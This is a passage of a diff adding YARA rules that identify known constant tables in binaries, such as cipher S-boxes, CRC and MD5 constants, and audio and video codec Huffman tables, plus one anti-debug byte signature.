0e73e0923e1e91100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000001100000099000000c9030000ed1200007d4f000075230100a5bd0300ef380b005f2c1f00f70c510047f1c600fb32d0016b850b0453f9aa0823e1e911 }
+
+condition:
+	$a0
+}
+
+	
+rule ADPCM_index_table__step_variation___8_byt_16_
+{
+strings:
+	$a0 = { FFFFFFFF02040608FFFFFFFF02040608 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128_sbox8__32_big_1024_
+{
+strings:
+	$a0 = { e216300dbbddfffca7ebdabd356480957789f8b7e6c1121b0e241600052ce8b511a9cfb0e5952f11ece7990a9386d1742a42931c76e38111b12def3a37ddddfcde9adeb10a0cc32cbe19702984a00940bb243a0fb4d137cfb44e79f0049eedfd0b15a15d480d31688bbbde5a669ded42c7ece8313f8f95e772df191b7580330d940742515c7dcdfaabbe6d63aa402164b301d40a02e7d1ca53571dae7a3182a212a8ddecfdaa335d176f43e871fb46d438129022ce949ad4b84769ad965bd86282f3d05566fb976715b80b4e1d5b47a04cfde06fc28ec4b857e8726e647a78fc99865d44608bd5936c200e0339dc5ff65d0b00a3ae63aff27e8bd63270108c0cbbd350492998df04980cf42a9b6df4919e7edd530691854858cb7e073b74ef2e522fffb1d24708cc1c7e27cda4eb215b3cf1d2e219b47a38424f7618358560399d17dee727eb35e6c9aff67b36baf5b809c467cdc18910b1e11dbf7b06cd1af87170c6082d5e3354d4de495a64c6d006bcc0c62c3dd00db3708f8f3477d51b42264f620f24b8d2bf15c1b79e46a52564f8d7e54e3e3781607895cda5859c15a5e6459788c37bc75fdb07ba0c0676a3ab7f229b1e31842e7b24259fd7f8bef472835ffcb86df4c1f296f5b195fd0af0fcb0fe134ce2506d3d4f9b12eaf215f225a223736f9fb4c42825d0497934c713f8c4618187ea7a6e987cd16efc1436876cf1544107bedeee1456e9af27a04aa4413cf7c89992ecbae6dd67016d151682eba842eedffdba60b4f1907b7520e3030f24d8c29ee139673befa63fb871873054b6f2cf3b9f326442cb15a4ccb01a4504f1e47d8d844a1be5bae7dfdc42cbda70cd7dae0a57e85b7ad53f5af620cf4d8ccea4d42879d130a43486ebfb33d3cddc77853b5337effcb5c5068778e580b3e64e68b8f4c5c8b37e0d809ea2398feb7c132a4f9443b7950e2fee7d1c223613bddd06caa237df932bc4248289acf3ebc35715f6b7ef3478ddf267616fc148cbe49052815e5e410fabb48a24652eda7fa4e87b40e4e98ea0845889e9e1efd390fcdd07d35bdb48569438d7e5b257720101730edebc5b64311394917e4f503c2fba646f12827523d24ae0779695f9c17a8f7a5b2121d187b89629263a4dba510cdf81f47c9fad1163edea7b59651a00726e1140309200da6d774a0cdd61ad1f4603605bdfb09eedc36422ebe6a8cee7d28aa0e736a05564a6b910853209c7eb8f372de705ca8951570fdf09822bbd691a6caa12e4f287451c0fe0f6a27a3ada48194cf1764f0d771c2b67cdb156350d83845938fa0f42399ef336997b070e84093d4aa93e618360d87b1fa98b0c1149382ce97625a50614d1b70e25244b0c768347589e8d820d2059d1a466bb1ef8da0a8204f19130ba6e4ec0992651641ee7230d50b2ad80eaee68018db2a283ea8bf59e }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__W32Dasm_bug__8_byt_7_
+{
+strings:
+	$a0 = { eb03909090ebf9 }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_Jfif_CrR_Table__32_big_1024_
+{
+strings:
+	$a0 = { FFFFFF4DFFFFFF4EFFFFFF4FFFFFFF51FFFFFF52FFFFFF54FFFFFF55FFFFFF56FFFFFF58FFFFFF59FFFFFF5BFFFFFF5CFFFFFF5DFFFFFF5FFFFFFF60FFFFFF62FFFFFF63FFFFFF64FFFFFF66FFFFFF67FFFFFF69FFFFFF6AFFFFFF6BFFFFFF6DFFFFFF6EFFFFFF70FFFFFF71FFFFFF72FFFFFF74FFFFFF75FFFFFF77FFFFFF78FFFFFF79FFFFFF7BFFFFFF7CFFFFFF7EFFFFFF7FFFFFFF80FFFFFF82FFFFFF83FFFFFF85FFFFFF86FFFFFF87FFFFFF89FFFFFF8AFFFFFF8CFFFFFF8DFFFFFF8EFFFFFF90FFFFFF91FFFFFF93FFFFFF94FFFFFF95FFFFFF97FFFFFF98FFFFFF9AFFFFFF9BFFFFFF9CFFFFFF9EFFFFFF9FFFFFFFA1FFFFFFA2FFFFFFA3FFFFFFA5FFFFFFA6FFFFFFA8FFFFFFA9FFFFFFAAFFFFFFACFFFFFFADFFFFFFAFFFFFFFB0FFFFFFB1FFFFFFB3FFFFFFB4FFFFFFB6FFFFFFB7FFFFFFB8FFFFFFBAFFFFFFBBFFFFFFBDFFFFFFBEFFFFFFC0FFFFFFC1FFFFFFC2FFFFFFC4FFFFFFC5FFFFFFC7FFFFFFC8FFFFFFC9FFFFFFCBFFFFFFCCFFFFFFCEFFFFFFCFFFFFFFD0FFFFFFD2FFFFFFD3FFFFFFD5FFFFFFD6FFFFFFD7FFFFFFD9FFFFFFDAFFFFFFDCFFFFFFDDFFFFFFDEFFFFFFE0FFFFFFE1FFFFFFE3FFFFFFE4FFFFFFE5FFFFFFE7FFFFFFE8FFFFFFEAFFFFFFEBFFFFFFECFFFFFFEEFFFFFFEFFFFFFFF1FFFFFFF2FFFFFFF3FFFFFFF5FFFFFFF6FFFFFFF8FFFFFFF9FFFFFFFAFFFFFFFCFFFFFFFDFFFFFFFF000000000000000100000003000000040000000600000007000000080000000A0000000B0000000D0000000E0000000F000000110000001200000014000000150000001600000018000000190000001B0000001C0000001D0000001F000000200000002200000023000000240000002600000027000000290000002A0000002B0000002D0000002E00000030000000310000003200000034000000350000003700000038000000390000003B0000003C0000003E0000003F000000400000004200000043000000450000004600000048000000490000004A0000004C0000004D0000004F000000500000005100000053000000540000005600000057000000580000005A0000005B0000005D0000005E0000005F000000610000006200000064000000650000006600000068000000690000006B0000006C0000006D0000006F000000700000007200000073000000740000007600000077000000790000007A0000007B0000007D0000007E00000080000000810000008200000084000000850000008700000088000000890000008B0000008C0000008E0000008F000000900000009200000093000000950000009600000097000000990000009A0000009C0000009D0000009E000000A0000000A1000000A3000000A4000000A5000000A7000000A8000000AA000000AB000000AC000000AE000000AF000000B1000000B2 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_3__16_big_32_
+{
+strings:
+	$a0 = { c654def2efaafd94096a143f1e7b282c31763a89439f4ca2557f5e5067186f8d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_lspvq4__16_big_256_
+{
+strings:
+	$a0 = { 015c0137032c0479022801cd07220107025902a306c200ac05f300c109910115014e029c032505a1052700cf0694038e02460526057b044a03d303400a8c054f027000e4050c03d3032000c308b2011d02da035e06010259045b01fd0aa0016200da048f04bc0602043200f7068a06ae0142085e04ef030903d5022c084706ae00c10254040b03bd02b6018d07cd00fd02e7025b063001410542015a08ad02c401c302dc0410058704a000e6073d03970136067d065902c20358034b0b5602be01d3015c04540418035b013207ac01cf023003f5059102150476027a0957036f018d043c054106a403d000f8075f04a50284082704ee025b036d0226089b051b }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_7__32_big_1024_
+{
+strings:
+	$a0 = { 7e672590bea513bb2c906fe686029c2b55dc4f740553398e63e09647cafd0bab264c37df8272210f67afa66912d98a5f8cab23c475c68bd1c337047033f37f4e283992ffe73a3a671032f283f5ad9fc2963f0c5d664fbc45202ba41cc7c02d8054731e848a1085f5601d80fb2f968e5535e96812e45a8f78bd7de6623b6e6ead8097c5ef070b6781b1e508f324e4fae3b81a7805ec0fc91843c8774b9b2512a92b05ad0432c2536fedf236e08bc4b0cfbaceb8374535b2890d0e94c3a5a371d0ad695a5839e3437d9186bffc21038c3b0aa9dff95d1f06ce62def8a4f740a2b4a2575868682683c1dbb30fac61fe1928468a6511c61cd5f4e54d98006b98d7f78418b6a55f09a5d290b4e80b49b2c85269f11c7717412b7e7f6fc0ed56838dcc6e9546a2d0758619087b9b9ad231a01daf46d415097060fdd920f657882d3f9f3ae7c3c9e8a00d9b4fe67ebe2ef80eb2c1916b0cf4dffea0b97eb3ebfdff84ddff8b14f1e96b0572f64b508cae220a6e4423ae5ac2bece5ede27567cfc935c6347075573e65b27f0e121fd22f26687532debf5d78347e08dac5eda032a7cebe93fe8d92e23542fe41fa7bd50cf9b41029d0dba399cb8902aa7249d8b0f6d667a5ebfa9ec6a594df279600938023b7591ea2c79c8c99d07ea64cb5ee11a9cab3d76db9527c08e012f3dfb481a872f22e72948d15ca4782c796f50d23278f0728a5a87aab1c4e2c19cee7673871b2a18647b8d10d3d17131610eeac456d8799e06b645b5484043cb65a874fb294b12d0307d68741318ef9a1fd7631d4c5829c7dacdfa30fac5084bb092cd20e2d4c1694003283ec0a917813f9a587d0170041f8fdc6ab1dcddaee3d531829742198c022d1c9eafcb5bbc6c49d3d3293a16d5000704bb88203c5c2a4137ee7af88eb040259313ecbabffc47998955a744ef85d633504499a7a6ca6a86bb3d3297b34a82366dccbe4f06143394ce19fc7bccc3c6c6e36254ae77b7eda1a133dd9eebf9356a513ccf88e2a1b417972ee5bd853824cd5752f4ee6c1142e83ea4f309b2b5934adfd628aa59acea3ea01eb92c389964bcda305dd4019a59b711d2ca93faa6d3b94e772eca72651776fb4e5b0ea38f91a81d0663b530f4f192b50051b6b716ccb34abd1b59146c5f26f134e2de00f67c6cb0e1b79598aa4ec70cc73b34654276a38d1ba871740a5216e0d01a239ed161d69f36a324993ebb7ffeb9491b365ddcdb810cffc571ec03822249e7bf48817046f3a24a5b4288e4d90bf5c243257fe15195b64c0d4164f066aaf7db0873b1119d8f9f7bb8d6844596f07a34a653943d0af9dd166d7a8957aff8ba3ce527c9621e5cdae910c8518998941538fe136115d8aba8443c4d01f93134edf760b45f266bd5d4de1452d8ac3515cfd885cbc5cd214cd76d4d7c80ef54bc92ee751e56a1f6 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_huffman_bits__16_lil_576_
+{
+strings:
+	$a0 = { 32cc186687196006cd0018000700000002000d00320099013103c20c0d3333cc67000000fe02be005e002d000a000900030003000000020008002c005d007e01fe05ff055c00000069516851b5281705a300290008000300000009001500500044018a022c0a5b140b00000031128d04470290002500080001000300000005001300490022011909c348c248602400001d2d460bd002b50059000a00030001000000040017005b006901a2058f161c2d580000000018010c010361001900070004000300000005000d003100c100810101060118020000005615aa0aab02540014000b00020003000000030008002b00ab00540154055715090000005615aa0aab02540014000b00020003000000030008002b00ab00540154055715090000009329650a9802a700280004000000010001000300150052004d013305c81424530b002553b8096f029a001200050000000100020003000100030008004c003601dd047313270072138707e001f1003d001f00060001000100010002000e007900c2030d0f191e303c0000313c064bc012b1049700240008000200030000000300050013004a005902610982252d01074b5a0a97024a01530028000b0003000000020004001500a4002c05b7146c29db520300da5293019201c80065003300180007000400000004000500070006000300050005000d000400120013000500030000000300050004000300030005000500040004000300050008000400660db206ad016a000c000500040000000300020007003400d7005803cf1a9c351b009d35 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_24_1024__16_big_94_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000240028002c0034003c0044004c0054005c0064006c0074007c0088009400a000ac00bc00cc00dc00f00104011c01340150016c018c01b001d401fc02280258028c02c003000340038003c00400 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_4__16_big_386_
+{
+strings:
+	$a0 = { 40003ef43de93cde3bd43aca39c138b937b136ab35a634a433a232a331a430a92fae2eb42dba2cc42bcf2adf29ef290428192732264b256b248b23b022d521ff212920531f7d1ead1ddd1d141c4c1b8b1aca1a0f195418a117ef1744169915f6155314b21411137712de124c11bb113110a710230f9f0f220ea60e300dbb0d490cd70c650bf30b850b180ab10a4b09eb098c093208d80885083207e407970750070906c3067d063c05fc05c00584054d051704e304b004810452042703fc03d303aa038103580332030c02ea02c802a9028a026d02500236021c020501ee01d901c401af019a0187017501640154014501360128011a010e010200f700ec00e100d600cb00c000b600ac00a2009900900088008000790072006c00660061005c00570052004d004900450041003e003b003800350032002f002d002b00290027002500230021001f001d001b001a0019001800170016001500140013001200110010000f000e000d000c000b000a0009000800070006000500040003000200010000 }
+
+condition:
+	$a0
+}
+
+	
+rule Half_Life_packets_decoding_encoding_function_key__32_lil_64_
+{
+strings:
+	$a0 = { 05000000610000007a000000ed0000001b000000ca0000000d0000009b0000004a000000f100000064000000c7000000b50000008e000000df000000a0000000 }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_hthtab__32_big_600_
+{
+strings:
+	$a0 = { 0000073000000730000007c00000080000000820000008400000085000000850000008600000086000000860000008600000086000000870000008700000087000000880000008800000089000000890000008a0000008a0000008b0000008b0000008c0000008c0000008d0000008e0000008f0000009000000091000000910000009100000091000000900000008f0000008c00000087000000820000007e0000007a00000077000000760000007a0000007c0000007c0000006e000000400000003c0000003c00000071000000710000007a0000007f0000008200000083000000840000008500000085000000860000008600000086000000860000008600000087000000870000008700000088000000880000008800000089000000890000008a0000008a0000008b0000008b0000008c0000008c0000008e0000008f0000009000000091000000910000009100000091000000900000008e0000008b00000087000000820000007e0000007b00000076000000770000007a0000007c000000780000005d0000003c0000003c0000006800000068000000750000007b0000007e00000081000000820000008300000084000000850000008500000085000000860000008600000086000000860000008600000086000000860000008600000087000000870000008700000087000000880000008800000088000000890000008a0000008b0000008c0000008d0000008e0000008f00000090000000910000009100000091000000900000008f0000008d0000008b000000840000007f00000079000000760000007a0000007c0000007b000000720 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_c__32_lil_72_
+{
+strings:
+	$a0 = { 742f54ba4dd2d353bf8dac504c9a5270d197d5eaa65b513399a848defcb732db9b919ee36e41bbe2956bcba502b1f3a1141dc4cc5dda63c3cd7ddc5f5c6c5a7fedff26f78e6f9de8 }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_Inverse_Table_6_9__32_lil_128_
+{
+strings:
+	$a0 = { 00cb0100d51c0200823600005788000000cb0100d51c0200823600005788000095980100690402004b6400001fd0000095980100690402004b6400001fd0000000980100be060200b760000075cf000095980100690402004b6400001fd0000095980100690402004b6400001fd000004bcb0100261402000b420000e78a0000 }
+
+condition:
+	$a0
+}
+
+	
+rule FFT_and_FHT_routines_costab__flt32___32_lil_32_
+{
+strings:
+	$a0 = { 5e836c3f15efc33e6dc47e3f36bdc83d43ec7f3fb00ac93cc4fe7f3f880fc93b }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_5_USB_poly_0x05__8_byt_refl_True_
+{
+strings:
+	$a0 = { 0051a2f30554a7f60a5ba8f90f5eadfc1445b6e71140b3e21e4fbced1b4ab9e828798adb2d7c8fde227380d1277685d43c6d9ecf39689bca366794c5336291c05001f2a35504f7a65a0bf8a95f0efdac4415e6b74110e3b24e1fecbd4b1ae9b87829da8b7d2cdf8e7223d0817726d5846c3dce9f6938cb9a6637c4956332c190a0f10253a5f40756aafb0859affe0d5cb4e51647b1e01342beef1c4dbbea194888d92a7b8ddc2f7e82d3207187d625749ccd3e6f99c83b6a96c7346593c23160f0a15203f5a45706faab5809ffae5d0ce4b54617e1b04312eebf4c1debba4918d8897a2bdd8c7f2ed2837021d7867524cc9d6e3fc9986b3ac6976435c3926130 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_lossy_quant_d__flt64___64_big_256_
+{
+strings:
+	$a0 = { 00000000000000003ff999999999999a3ff00000000000003fe999999999999a3fe2e147ae147ae13fe00000000000003fdae147ae147ae13fd5c28f5c28f5c33fc851eb851eb8523fbc28f5c28f5c293faeb851eb851eb83fa1eb851eb851ec3f9374bc6a7ef9db3f86872b020c49ba3f7a9fbe76c8b4393f70624dd2f1a9fc3f647ae147ae147b3f56f0068db8bac73f4a36e2eb1c432d3f3d7dbf487fcb923f33a92a305532613f264840e1719f803f14f8b588e368f13f04f8b588e368f13ef4f8b588e368f13ee4f8b588e368f13ed4f8b588e368f100000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book3__32_lil_972_
+{
+strings:
+	$a0 = { 0000000001000000000000000100000004000000090000000200000008000000ef00000003000000040000000b0000000400000005000000190000000500000008000000f00000000600000009000000eb0100000700000009000000e6010000080000000a000000f203000009000000040000000a0000000a00000006000000350000000b00000009000000ef0100000c00000006000000340000000d00000006000000370000000e00000009000000e90100000f00000009000000ed0100001000000009000000e7010000110000000a000000f30300001200000009000000ee010000130000000a000000ed030000140000000d000000fa1f00001500000009000000ec0100001600000009000000f2010000170000000b000000f9070000180000000b000000f8070000190000000a000000f80300001a0000000c000000f80f00001b00000004000000080000001c00000006000000380000001d0000000a000000f60300001e00000006000000360000001f0000000700000075000000200000000a000000f1030000210000000a000000eb030000220000000a000000ec030000230000000c000000f40f0000240000000500000018000000250000000700000076000000260000000b000000f4070000270000000600000039000000280000000700000074000000290000000a000000ef0300002a00000009000000f30100002b00000009000000f40100002c0000000b000000f60700002d00000009000000e80100002e0000000a000000ea0300002f0000000d000000fc1f00003000000008000000f20000003100000009000000f1010000320000000c000000fb0f0000330000000a000000f5030000340000000b000000f3070000350000000c000000fc0f00003600000008000000ee000000370000000a000000f7030000380000000f000000fe7f00003900000009000000f00100003a0000000b000000f50700003b0000000f000000fd7f00003c0000000d000000fb1f00003d0000000e000000fa3f00003e00000010000000ffff00003f00000008000000f1000000400000000a000000f0030000410000000e000000fc3f00004200000009000000ea010000430000000a000000ee030000440000000e000000fb3f0000450000000c000000f60f0000460000000c000000fa0f0000470000000f000000fc7f0000480000000b000000f2070000490000000c000000f50f00004a00000010000000feff00004b0000000a000000f40300004c0000000b000000f70700004d0000000f000000fb7f00004e0000000c000000f70f00004f0000000c000000f90f0000500000000f000000fa7f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_nelly_dequantization_table__flt64___64_lil_1016_
+{
+strings:
+	$a0 = { 00000000000000006e94fe9fb81cebbf4cf104807b1ee73f999ffe1f5e65f8bfcbf401806000ddbfca74f71fea05d83f0f7e00a0738cf73f5727fe1f54b7ffbf64a602204616f3bf147902806ba7e2bf4f2218c0c1c2b1bf9fdc07807005d93f995cfe1f7d05ed3f17330140c7c7f73fad720040b7c5014049e700603c1c03c07ca3fddf76e8fcbf56ae02809491f6bf2e8602e0de3cf1bf2535fb1f8395e9bfe736f91f34c9e1bfbdfdfa5f7556d5bf13620ec016f4c0bf53fc6ce02615ad3f360bf39fe74fd03f87d60b00fc8cde3fe5fc04c04ea3e73fe64cff3f7ab5f03f4e760120bf53f63f54f8fc7f3ff5fc3ff08700e08f2203403c43ffdf741d03c048f902e0c3d0ffbf1b27ff3fc005fcbf62ebffff6b07f9bfe5d4fc1f8146f6bf6c65fdffa376f3bf4b09fd9f4ec0f0bf9878fadf0e7fecbfda5606604277e8bf00abfd7f97a7e4bfdd1e030067d4e0bf2a10fd9f2afbd9bf287efb9fe463d3bf2d0d07401fd7cabfafacf49f9cbdbfbf981649005d89a8bff3ae7ac03c649a3fd39f13c061a2b93f4eadf53f643cc63f2c950420268cd03f99400260eb8bd63fc7b1f79f4a3fdd3f09efffdff074e23f8038ff1ffd68e63fb0dcf99f2ff6ea3f650302007426f03fe35dfe5f06eaf23fb2130380c1a7f53f03d1fd5f6883f83fbe8202e070bbfb3ff7020240468eff3f5976ff1fb92e0340cf7cfe5fe49a04c03fb500806a7500c0a4e2fc1f3960febf5215fd9f4f5dfcbf5901fd3f00a9fabf53f5fc3fff2ff9bf6f28fd7f43fdf7bfee92fe7f18e8f6bf5a79ff5ff9d7f5bf6d88fd9f34cdf4bf682902e044a6f3bf2c1cfe9fae8af2bf0dc701205879f1bf16d601609937f0bfbc8d0080f972edbf7c3b0060c084eabf7b4505808299e7bf98ec034001a2e4bf0741022019e4e1bf564df41ff015dfbfa414f41f594edabf63d400605f24d6bf0d520a20573fd2bf48f5fe3f05f9cdbf6dd2174084f1c7bf400009c0c876c2bfbc281900f357bcbf49fef41f91efb2bf892911a01fb8a2bf4af6bd8203057ebf9a387ba083d9943f8b411e80df86a83fc9addd3f1c40b33fe043dfdf141db93f4d47f59ff23dbf3fe62f15e0d9acc23fd07416c00bb0c53f002808a0cd38c93f9e090d40c3d4cc3f62fc08002d5dd03fa3c60b405f5ed23f09baf2df2076d43f7c9ff93fb890d63ffc23fa1fdae3d83fc5de074055bedb3fc84304804886de3fa28901e0c9a7e03fd94601c0ff0fe23f333006e02c97e33f1cdaf91f1d65e53f4ffdfa9f477ee73f07e8fbfff1b3e93f821105c0e21bec3f15e0fb9fa39cee3f45acfebfa3a2f03fce1101a0ed11f23fca1402e0b089f33f8e30ffbfaeedf43f1bc4fedf8e70f63f029201004617f83f3b9e02e0e0f6f93f64dcfdbf245cfc3fc6f40280e316ff3f435800a0b9520240 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_A38_table_4__8_byt_32_
+{
+strings:
+	$a0 = { 0f0c0a04010e0b0705000e0701020d080a03040906000302050608090b0d0f0c }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book2__32_lil_972_
+{
+strings:
+	$a0 = { 0000000009000000f301000001000000070000006f0000000200000009000000fd0100000300000008000000eb0000000400000006000000230000000500000008000000ea0000000600000009000000f70100000700000008000000e80000000800000009000000fa0100000900000008000000f20000000a000000060000002d0000000b00000007000000700000000c00000006000000200000000d00000005000000060000000e000000060000002b0000000f000000070000006e0000001000000006000000280000001100000008000000e90000001200000009000000f90100001300000007000000660000001400000008000000f80000001500000008000000e700000016000000060000001b0000001700000008000000f10000001800000009000000f401000019000000070000006b0000001a00000009000000f50100001b00000008000000ec0000001c000000060000002a0000001d000000070000006c0000001e000000060000002c0000001f000000050000000a00000020000000060000002700000021000000070000006700000022000000060000001a0000002300000008000000f500000024000000060000002400000025000000050000000800000026000000060000001f0000002700000005000000090000002800000003000000000000002900000005000000070000002a000000060000001d0000002b000000050000000b0000002c00000006000000300000002d00000008000000ef0000002e000000060000001c0000002f000000070000006400000030000000060000001e00000031000000050000000c0000003200000006000000290000003300000008000000f300000034000000060000002f0000003500000008000000f00000003600000009000000fc0100003700000007000000710000003800000009000000f20100003900000008000000f40000003a00000006000000210000003b00000008000000e60000003c00000008000000f70000003d00000007000000680000003e00000009000000f80100003f00000008000000ee0000004000000006000000220000004100000007000000650000004200000006000000310000004300000004000000020000004400000006000000260000004500000008000000ed00000046000000060000002500000047000000070000006a0000004800000009000000fb0100004900000007000000720000004a00000009000000fe0100004b00000007000000690000004c000000060000002e0000004d00000008000000f60000004e00000009000000ff0100004f000000070000006d0000005000000009000000f6010000 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_front_opposite_side___30_degree___flt32___32_lil_512_
+{
+strings:
+	$a0 = { 1d0862b7b4c7a8b88b3e3838096c96b7f2da11b8f5d3c8b8d05823398d8844b968008b39102718b9e54aadb876082a3a16598bba69242e3b6dd9b93a433bcc3bc14006bca038d7bb75481c3c80ac493c83a7fc3dc9163d3de17bd1bd14cb253d706042bbfb8b90bd6b5da73d5fecb23d6e1c513de81fee3db426543e4600c03d4d62c8bd3bed2bbcd4a0593d4306d0bd308b26bef3475dbd9ccae0bc40f0c9bd221f8cbde84f91bbb0e808bacf34ccbb97196c3cc01d483d7eaa323d583b0b3da1344b3d0099263d01a0003c4d91953bfce6b83c5015063cab5774bc411399bcc4028fbc71a4bebcff7e18bda74037bd0cb32ebd12c818bd2ce4edbc266d9abc9cc645bc1729debb0b06fdba3915f7377d2db53aa3f9c13ad6dd583983d8113bcf8da83bf489f33aff9efeba4695bdba18a461bb60ce1ebcb5fc41bc4c942fbcd40154bc19a247bcd11ccbbbdef417bbcda02fbbd53e4abbc0e8cdbae29455babe53a2ba07a708bac618e83a5da9ad3ae721dfba1cd093bb57acb1bb0c6681bb088aadbb9e57cebbc58a99bbb0899dbb59eac3bb0d48c2bb013989bbf8a152bb77f337bbc8bb8eba50cbab391e97aaba283e52bb839824bb5ab7b4ba7096efba1bc529bb57bd07bb792c2dbbb98982bb726e88bb43b68ebbc38d8ebb217970bb1aee5dbb522c82bb47f68dbbf4962dbb1875b5ba02d194bab4e9b3ba769003bb }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_30_neg__flt32___32_big_160_
+{
+strings:
+	$a0 = { 3f8000003f8000003f8000003f8000003f8000003f7f04f93f7f04f93f7e0ae83f7e0ae83f7e0ae83f7e0ae83f7e0ae83f7c19a53f7b22713f7b22713f7d11cd3f7c19a53f7a2c303f774f103f765c8f3f7c19a53f7a2c303f774f103f738a9a3f71ae0a3f7b22713f7842803f738a9a3f6ee9ce3f6c2dad3f7a2c303f756afb3f6fd4fa3f6a5f623f65eb0d3f7842803f729bf03f6c2dad3f65eb0d3f5fd2e8 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_v1__32_lil_AND_
+{
+strings:
+	$a0 = { acacacac[0-20]59595959[0-20]b2b2b2b2[0-20]65656565[0-20]01010101[0-20]fcf3cf3f[0-20]f3cf3ffc[0-20]cf3ffcf3[0-20]3ffcf3cf }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_quantization_tab__8_byt_16_
+{
+strings:
+	$a0 = { 000305070b0f05060708090a0b0c0e10 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_G729_cb_ma_predictor__16_lil_160_
+{
+strings:
+	$a0 = { e5209523d72305234a2361233d2247229223e1216a1b151cd61d8b1c141dd31c7e1b2c1b121bd41a60157e130e1439147e1415145614e713de121b14d80fd70b360ad00b640b990aed0ca50c290b910d351ec81efc1fef1f37202a21bd219921a720911d7210d70bf809910d240f0d0f58103a10450f800f8e0c8a0721055f08bd095109c30a920aee09670bd00b3806ac035f06bb062b06f20724087907290a }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_sol_table_old__32_lil_64_
+{
+strings:
+	$a0 = { 00000000010000000200000003000000060000000A0000000F00000015000000EBFFFFFFF1FFFFFFF6FFFFFFFAFFFFFFFDFFFFFFFEFFFFFFFFFFFFFF00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab10__16_lil_254_
+{
+strings:
+	$a0 = { 83FF87FF91FFADFFC9FFDDFFEBFFF3FFF9FFFDFFFFFF77006700FFFF76005700FDFFFFFF750066004700FDFFFFFF74005600FFFF65003700F7FFFDFFFFFF73004600FDFFFFFF550054006300FFFF27007200F5FFFBFFFDFFFFFF640007007000FFFF6200FFFF45003500FBFFFFFF0600FFFF530044001700EFFFFBFFFFFF7100FFFF36002600FBFFFDFFFFFF250052001500FFFF5100FFFF34004300FDFFFFFF16006100FFFF6000FFFF05005000EDFFF5FFF9FFFDFFFFFF24004200FFFF33000400FFFF14004100FDFFFFFF40002300FFFF32000300FDFFFFFF13003100FFFF30002200F9FFFDFFFFFF12002100FFFF020020001100FFFF010010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Misty_md5const__32_big_256_
+{
+strings:
+	$a0 = { d76aa478e8c7b756242070dbc1bdceeef57c0faf4787c62aa8304613fd469501698098d88b44f7afffff5bb1895cd7be6b901122fd987193a679438e49b40821f61e2562c040b340265e5a51e9b6c7aad62f105d02441453d8a1e681e7d3fbc821e1cde6c33707d6f4d50d87455a14eda9e3e905fcefa3f8676f02d98d2a4c8afffa39428771f6816d9d6122fde5380ca4beea444bdecfa9f6bb4b60bebfbc70289b7ec6eaa127fad4ef308504881d05d9d4d039e6db99e51fa27cf8c4ac5665f4292244432aff97ab9423a7fc93a039655b59c38f0ccc92ffeff47d85845dd16fa87e4ffe2ce6e0a30143144e0811a1f7537e82bd3af2352ad7d2bbeb86d391 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv34_table_intra_cbp__8_byt_640_
+{
+strings:
+	$a0 = { 00030304030505050205040604060606000203040205060703060507040708080003040403040505030504050405050300030304030405050305040603050605000404040405050404050405040404020003030403040505030504050405050400060605060506040606050404040401000404040405050404050504040404020004030403040504030504050305050500020304020506070306050704070808000404040404050404050404030404030003030403040505030504060305060500040404040405040405050504040402000303040304050503050405040505040005060505050604060605040504040100040404040405040405050404040502000303040304040503050405040505050002030402040607030605070507080800040404040405040305040404040403000303040303060603060406030606050004040403040504040504040404040300030304030405050305040504050504000505050505060405060505050404010004040404040604040605040404040200030304030404050305040504050505000203040204070603070507050707070003030403040505030504050405050400030303030406060306040603060605000304040304050404050405040504030003030403040505030504050405050400040504040405040405050404040402000404040405050404050504040404020003030403040506020504070406060700020304020406070307050705070707000303040304050503050405040505040002030403040605030604060406060600030304030405050305040504050504000303040304050503050405040505040004040404050504040505040404040200030404040405040405040404040403 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_front_same_side__30_degree___flt32___32_lil_512_
+{
+strings:
